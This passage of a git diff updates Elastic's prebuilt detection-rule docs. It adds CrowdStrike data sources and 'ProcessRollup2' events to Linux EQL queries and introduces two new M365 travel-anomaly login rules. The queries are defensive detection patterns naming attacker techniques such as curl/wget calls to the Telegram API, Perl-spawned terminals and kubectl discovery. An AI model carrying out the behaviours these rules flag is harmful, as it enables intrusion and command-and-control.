b/docs/detections/prebuilt-rules/rule-details/high-number-of-egress-network-connections-from-unusual-executable.asciidoc index 28fc6dba04..0ead208d99 100644 --- a/docs/detections/prebuilt-rules/rule-details/high-number-of-egress-network-connections-from-unusual-executable.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/high-number-of-egress-network-connections-from-unusual-executable.asciidoc @@ -28,7 +28,7 @@ This rule detects a high number of egress network connections from an unusual ex * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/high-number-of-okta-device-token-cookies-generated-for-authentication.asciidoc b/docs/detections/prebuilt-rules/rule-details/high-number-of-okta-device-token-cookies-generated-for-authentication.asciidoc index b33c0f178f..80fb207c43 100644 --- a/docs/detections/prebuilt-rules/rule-details/high-number-of-okta-device-token-cookies-generated-for-authentication.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/high-number-of-okta-device-token-cookies-generated-for-authentication.asciidoc @@ -34,7 +34,7 @@ Detects when an Okta client address has a certain threshold of Okta user authent * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 207 +*Version*: 209 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/high-number-of-process-terminations.asciidoc b/docs/detections/prebuilt-rules/rule-details/high-number-of-process-terminations.asciidoc index f51e8e1d9b..f473850562 100644 --- a/docs/detections/prebuilt-rules/rule-details/high-number-of-process-terminations.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/high-number-of-process-terminations.asciidoc @@ -11,6 +11,7 @@ This rule identifies a high number (10) of process terminations via pkill from t * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: medium @@ -34,8 +35,9 @@ This rule identifies a high number (10) of process terminations via pkill from t * Data Source: Elastic Endgame * Data Source: Elastic Defend * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 114 +*Version*: 115 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/interactive-terminal-spawned-via-perl.asciidoc b/docs/detections/prebuilt-rules/rule-details/interactive-terminal-spawned-via-perl.asciidoc index 2f7fe762e4..05694d23d7 100644 --- a/docs/detections/prebuilt-rules/rule-details/interactive-terminal-spawned-via-perl.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/interactive-terminal-spawned-via-perl.asciidoc @@ -10,6 +10,7 @@ Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a si * auditbeat-* * logs-endpoint.events.* * endgame-* +* logs-crowdstrike.fdr* *Severity*: high @@ -32,8 +33,9 @@ Identifies when a terminal (tty) is spawned via Perl. Attackers may upgrade a si * Data Source: Elastic Endgame * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 111 +*Version*: 112 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/ipv4-ipv6-forwarding-activity.asciidoc b/docs/detections/prebuilt-rules/rule-details/ipv4-ipv6-forwarding-activity.asciidoc index 1a106e6cab..d0a1ecbc61 100644 --- a/docs/detections/prebuilt-rules/rule-details/ipv4-ipv6-forwarding-activity.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/ipv4-ipv6-forwarding-activity.asciidoc @@ -10,6 +10,7 @@ This rule monitors for the execution of commands that enable IPv4 and IPv6 forwa * endgame-* * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* *Severity*: low @@ -33,8 +34,9 @@ This rule monitors for the execution of commands that enable IPv4 and IPv6 forwa * Data Source: SentinelOne * Data Source: Elastic Endgame * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 105 +*Version*: 106 *Rule authors*: @@ -97,8 +99,8 @@ IPv4/IPv6 forwarding allows a Linux system to route traffic between network inte [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event") and -process.parent.executable != null and process.command_line like ( +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "exec_event", "ProcessRollup2") and +?process.parent.executable != null and process.command_line like ( "*net.ipv4.ip_forward*", "*/proc/sys/net/ipv4/ip_forward*", "*net.ipv6.conf.all.forwarding*", "*/proc/sys/net/ipv6/conf/all/forwarding*" ) and ( diff --git a/docs/detections/prebuilt-rules/rule-details/kubectl-configuration-discovery.asciidoc b/docs/detections/prebuilt-rules/rule-details/kubectl-configuration-discovery.asciidoc index d9d1b5a857..cd92b86c69 100644 --- a/docs/detections/prebuilt-rules/rule-details/kubectl-configuration-discovery.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/kubectl-configuration-discovery.asciidoc @@ -11,6 +11,7 @@ This rule detects the execution of kubectl commands that are commonly used for c * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: low @@ -36,8 +37,9 @@ This rule detects the execution of kubectl commands that are commonly used for c * Data Source: Elastic Defend * Data Source: Elastic Endgame * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 1 +*Version*: 2 *Rule authors*: @@ -52,7 +54,7 @@ This rule detects the execution of kubectl commands that are commonly used for c [source, js] ---------------------------------- process where host.os.type == "linux" and event.type == "start" and -event.action in ("exec", "exec_event", "executed", "process_started") and +event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and process.name == "kubectl" and process.args in ("get", "describe") and process.args in ("configmap", "configmaps") ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/kubectl-permission-discovery.asciidoc b/docs/detections/prebuilt-rules/rule-details/kubectl-permission-discovery.asciidoc index d6eb09ccfd..5c1de3adb1 100644 --- a/docs/detections/prebuilt-rules/rule-details/kubectl-permission-discovery.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/kubectl-permission-discovery.asciidoc @@ -8,6 +8,7 @@ This rule detects the use of the "kubectl auth --can-i" command, which is used t *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -33,8 +34,9 @@ This rule detects the use of the "kubectl auth --can-i" command, which is used t * Tactic: Discovery * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -132,7 +134,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name == "kubectl" and process.args == "auth" and process.args == "can-i" ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/kubectl-workload-and-cluster-discovery.asciidoc b/docs/detections/prebuilt-rules/rule-details/kubectl-workload-and-cluster-discovery.asciidoc index 259efbf66d..f4047ec4de 100644 --- a/docs/detections/prebuilt-rules/rule-details/kubectl-workload-and-cluster-discovery.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/kubectl-workload-and-cluster-discovery.asciidoc @@ -11,6 +11,7 @@ This rule detects the execution of kubectl commands that are commonly used for w * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: low @@ -36,8 +37,9 @@ This rule detects the execution of kubectl commands that are commonly used for w * Data Source: Elastic Defend * Data Source: Elastic Endgame * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 1 +*Version*: 2 *Rule authors*: @@ -52,7 +54,7 @@ This rule detects the execution of kubectl commands that are commonly used for w [source, js] ---------------------------------- process where host.os.type == "linux" and event.type == "start" and -event.action in ("exec", "exec_event", "executed", "process_started") and +event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and process.name == "kubectl" and ( (process.args in ("cluster-info", "api-resources", "api-versions", "version")) or (process.args in ("get", "describe") and process.args in ( diff --git a/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery-via-getconf.asciidoc b/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery-via-getconf.asciidoc index 687d5619a2..df937ba966 100644 --- a/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery-via-getconf.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery-via-getconf.asciidoc @@ -11,6 +11,7 @@ This rule identifies Linux system information discovery via the `getconf` comman * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: low @@ -36,8 +37,9 @@ This rule identifies Linux system information discovery via the `getconf` comman * Data Source: Elastic Defend * Data Source: Elastic Endgame * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 3 +*Version*: 4 *Rule authors*: @@ -51,7 +53,7 @@ This rule identifies Linux system information discovery via the `getconf` comman [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and process.name == "getconf" ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery.asciidoc b/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery.asciidoc index e2ad38aaa6..96f9a114c2 100644 --- a/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/linux-system-information-discovery.asciidoc @@ -11,6 +11,7 @@ Enrich process events with uname and other command lines that imply Linux system * endgame-* * auditbeat-* * logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* *Severity*: low @@ -34,8 +35,9 @@ Enrich process events with uname and other command lines that imply Linux system * Data Source: Elastic Defend * Data Source: Elastic Endgame * Data Source: Auditd Manager +* Data Source: Crowdstrike -*Version*: 5 +*Version*: 6 *Rule authors*: @@ -49,7 +51,7 @@ Enrich process events with uname and other command lines that imply Linux system [source, js] ---------------------------------- -process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started") and ( +process where event.type == "start" and event.action in ("exec", "exec_event", "executed", "process_started", "ProcessRollup2") and ( process.name: "uname" or ( process.name: ("cat", "more", "less") and process.args: ("*issue*", "*version*", "*profile*", "*services*", "*cpuinfo*") ) diff --git a/docs/detections/prebuilt-rules/rule-details/linux-telegram-api-request.asciidoc b/docs/detections/prebuilt-rules/rule-details/linux-telegram-api-request.asciidoc index c519597044..91bfec6d63 100644 --- a/docs/detections/prebuilt-rules/rule-details/linux-telegram-api-request.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/linux-telegram-api-request.asciidoc @@ -8,6 +8,7 @@ This rule detects when a process executes the curl or wget command with an argum *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -29,8 +30,9 @@ This rule detects when a process executes the curl or wget command with an argum * Tactic: Command and Control * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -140,7 +142,7 @@ For more information on capturing environment variables refer to the https://www [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name in ("curl", "wget") and process.command_line like "*api.telegram.org*" ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/m365-identity-login-from-atypical-travel-location.asciidoc b/docs/detections/prebuilt-rules/rule-details/m365-identity-login-from-atypical-travel-location.asciidoc new file mode 100644 index 0000000000..17b71849da --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/m365-identity-login-from-atypical-travel-location.asciidoc @@ -0,0 +1,128 @@ +[[m365-identity-login-from-atypical-travel-location]] +=== M365 Identity Login from Atypical Travel Location + +Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Atypical Travel Location* + + +Microsoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon locations, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical locations, flagging potential unauthorized access attempts by analyzing login events and user location patterns. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.region_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Cmsi:Cmsi" or + "Consent:Set" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "SAS:EndAuth" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/rule-details/m365-identity-login-from-impossible-travel-location.asciidoc b/docs/detections/prebuilt-rules/rule-details/m365-identity-login-from-impossible-travel-location.asciidoc new file mode 100644 index 0000000000..74c77c9e53 --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/m365-identity-login-from-impossible-travel-location.asciidoc @@ -0,0 +1,128 @@ +[[m365-identity-login-from-impossible-travel-location]] +=== M365 Identity Login from Impossible Travel Location + +Detects successful Microsoft 365 portal logins from impossible travel locations. Impossible travel locations are defined as two different countries within a short time frame. This behavior may indicate an adversary attempting to access a Microsoft 365 account from a compromised account or a malicious actor attempting to access a Microsoft 365 account from a different location. + +*Rule type*: threshold + +*Rule indices*: + +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-15m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel- + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Identity Login from Impossible Travel Location* + + +Microsoft 365's cloud-based services enable global access, but this can be exploited by adversaries logging in from disparate locations within short intervals, indicating potential account compromise. The detection rule identifies such anomalies by analyzing login events for rapid geographic shifts, flagging suspicious activity that may suggest unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the user associated with these sign-ins to determine if the login attempt was legitimate or if further investigation is needed. +- Analyze the geographic locations of the logins to identify any patterns or anomalies that may indicate malicious activity. +- Review the ISP information for the login attempts to identify any unusual or suspicious providers. +- Review the authorization request type to understand the context of the login attempts and whether they align with the user's typical behavior. +- Analyze the client application used for the login attempts to determine if it is consistent with the user's normal usage patterns (Teams, Office, etc.) +- Analyze the user-agent associated with the login attempts to identify any unusual or suspicious patterns. These could also indicate mobile and endpoint logins causing false-positives. + + +*False positive analysis* + + +- Users traveling or using VPNs may trigger this alert. Verify with the user if they were traveling or using a VPN at the time of the login attempt. +- Mobile access may also result in false positives, as users may log in from various locations while on the go. + + +*Response and remediation* + + +- Investigate the login attempt further by checking for any additional context or related events that may provide insight into the user's behavior. +- If the login attempt is deemed suspicious, consider implementing additional security measures, such as requiring multi-factor authentication (MFA) for logins from unusual locations. +- Educate users about the risks of accessing corporate resources from unfamiliar locations and the importance of using secure connections (e.g., VPNs) when doing so. +- Monitor for any subsequent login attempts from the same location or IP address to identify potential patterns of malicious activity. +- Consider adding exceptions to this rule for the user or source application ID if the login attempts are determined to be legitimate and not a security concern. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:o365.audit and + event.provider:AzureActiveDirectory and + event.action:UserLoggedIn and + event.outcome:success and + o365.audit.Target.Type:(0 or 10 or 2 or 3 or 5 or 6) and + o365.audit.UserId:(* and not "Not Available") and + source.geo.region_iso_code:* and + not o365.audit.ApplicationId:( + 29d9ed98-a469-4536-ade2-f981bc1d605e or + 38aa3b87-a06d-4817-b275-7a316988d93b or + a809996b-059e-42e2-9866-db24b99a9782 + ) and not o365.audit.ExtendedProperties.RequestType:( + "Cmsi:Cmsi" or + "Consent:Set" or + "Login:reprocess" or + "Login:resume" or + "MessagePrompt:MessagePrompt" or + "SAS:EndAuth" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/rule-details/m365-onedrive-excessive-file-downloads-with-oauth-token.asciidoc b/docs/detections/prebuilt-rules/rule-details/m365-onedrive-excessive-file-downloads-with-oauth-token.asciidoc index 456836b0d5..40dba10fe2 100644 --- a/docs/detections/prebuilt-rules/rule-details/m365-onedrive-excessive-file-downloads-with-oauth-token.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/m365-onedrive-excessive-file-downloads-with-oauth-token.asciidoc @@ -33,7 +33,7 @@ Identifies when an excessive number of files are downloaded from OneDrive using * Tactic: Exfiltration * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/memory-swap-modification.asciidoc b/docs/detections/prebuilt-rules/rule-details/memory-swap-modification.asciidoc index d7c82ba83c..d05c84185c 100644 --- a/docs/detections/prebuilt-rules/rule-details/memory-swap-modification.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/memory-swap-modification.asciidoc @@ -10,6 +10,7 @@ This rule detects memory swap modification events on Linux systems. Memory swap * endgame-* * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* *Severity*: low @@ -34,8 +35,9 @@ This rule detects memory swap modification events on Linux systems. Memory swap * Data Source: SentinelOne * Data Source: Elastic Endgame * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 105 +*Version*: 106 *Rule authors*: @@ -137,8 +139,8 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start") and -process.parent.executable != null and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +?process.parent.executable != null and process.name in ("swapon", "swapoff") or ( process.command_line like ("*vm.swappiness*", "*/proc/sys/vm/swappiness*") and ( (process.name == "sysctl" and process.args like ("*-w*", "*--write*", "*=*")) or diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-365-brute-force-via-entra-id-sign-ins.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-365-brute-force-via-entra-id-sign-ins.asciidoc index 104fc87be2..6ddf79320a 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-365-brute-force-via-entra-id-sign-ins.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-365-brute-force-via-entra-id-sign-ins.asciidoc @@ -40,7 +40,7 @@ Identifies potential brute-force attacks targeting Microsoft 365 user accounts b * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 107 +*Version*: 109 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-365-or-entra-id-sign-in-from-a-suspicious-source.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-365-or-entra-id-sign-in-from-a-suspicious-source.asciidoc index bf1381875e..36e6dcb045 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-365-or-entra-id-sign-in-from-a-suspicious-source.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-365-or-entra-id-sign-in-from-a-suspicious-source.asciidoc @@ -34,7 +34,7 @@ This rule correlate Azure or Office 356 mail successful sign-in events with netw * Resources: Investigation Guide * Rule Type: Higher-Order Rule -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-concurrent-sign-ins-with-suspicious-properties.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-concurrent-sign-ins-with-suspicious-properties.asciidoc index 1e4823ef87..caf783a389 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-concurrent-sign-ins-with-suspicious-properties.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-concurrent-sign-ins-with-suspicious-properties.asciidoc @@ -36,7 +36,7 @@ Identifies concurrent azure signin events for the same user and from multiple so * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc index e76b052262..3855a644f1 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-exccessive-account-lockouts-detected.asciidoc @@ -40,7 +40,7 @@ Identifies a high count of failed Microsoft Entra ID sign-in attempts as the res * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-mfa-totp-brute-force-attempts.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-mfa-totp-brute-force-attempts.asciidoc index 051143ea98..434500680e 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-mfa-totp-brute-force-attempts.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-mfa-totp-brute-force-attempts.asciidoc @@ -35,7 +35,7 @@ Identifies brute force attempts against Azure Entra multi-factor authentication * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-sign-in-brute-force-activity.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-sign-in-brute-force-activity.asciidoc index 374965345e..ae54deb8e3 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-sign-in-brute-force-activity.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-sign-in-brute-force-activity.asciidoc @@ -41,7 +41,7 @@ Identifies potential brute-force attacks targeting user accounts by analyzing fa * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-suspicious-session-reuse-to-graph-access.asciidoc b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-suspicious-session-reuse-to-graph-access.asciidoc index 1a147fd342..aa97621bd4 100644 --- a/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-suspicious-session-reuse-to-graph-access.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/microsoft-entra-id-suspicious-session-reuse-to-graph-access.asciidoc @@ -39,7 +39,7 @@ Identifies potential session hijacking or token replay in Microsoft Entra ID. Th * Tactic: Defense Evasion * Tactic: Initial Access -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-device-token-hashes-for-single-okta-session.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-device-token-hashes-for-single-okta-session.asciidoc index 01cb51e54d..7f88b0de73 100644 --- a/docs/detections/prebuilt-rules/rule-details/multiple-device-token-hashes-for-single-okta-session.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/multiple-device-token-hashes-for-single-okta-session.asciidoc @@ -35,7 +35,7 @@ This rule detects when a specific Okta actor has multiple device token hashes fo * Domain: SaaS * Resources: Investigation Guide -*Version*: 308 +*Version*: 310 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-microsoft-365-user-account-lockouts-in-short-time-window.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-microsoft-365-user-account-lockouts-in-short-time-window.asciidoc index 3388c68979..1d20412468 100644 --- a/docs/detections/prebuilt-rules/rule-details/multiple-microsoft-365-user-account-lockouts-in-short-time-window.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/multiple-microsoft-365-user-account-lockouts-in-short-time-window.asciidoc @@ -36,7 +36,7 @@ Detects a burst of Microsoft 365 user account lockouts within a short 5-minute w * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-client-address.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-client-address.asciidoc index 8d01203934..00fdf97f19 100644 --- a/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-client-address.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-client-address.asciidoc @@ -34,7 +34,7 @@ Detects when a certain threshold of Okta user authentication events are reported * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 207 +*Version*: 209 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc b/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc index fca1a226d0..8d53f871af 100644 --- a/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/multiple-okta-user-authentication-events-with-same-device-token-hash.asciidoc @@ -34,7 +34,7 @@ Detects when a high number of Okta user authentication events are reported for m * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 207 +*Version*: 209 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/node-js-pre-or-post-install-script-execution.asciidoc b/docs/detections/prebuilt-rules/rule-details/node-js-pre-or-post-install-script-execution.asciidoc index abf471168a..5d8b890e17 100644 --- a/docs/detections/prebuilt-rules/rule-details/node-js-pre-or-post-install-script-execution.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/node-js-pre-or-post-install-script-execution.asciidoc @@ -8,6 +8,7 @@ This rule detects the execution of Node.js pre or post-install scripts. These sc *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -33,8 +34,9 @@ This rule detects the execution of Node.js pre or post-install scripts. These sc * Tactic: Defense Evasion * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 1 +*Version*: 2 *Rule authors*: @@ -86,8 +88,8 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- sequence by host.id with maxspan=10s - [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "node" and process.args == "install"] by process.entity_id - [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.parent.name == "node"] by process.parent.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name == "node" and process.args == "install"] by process.entity_id + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.parent.name == "node"] by process.parent.entity_id ---------------------------------- diff --git 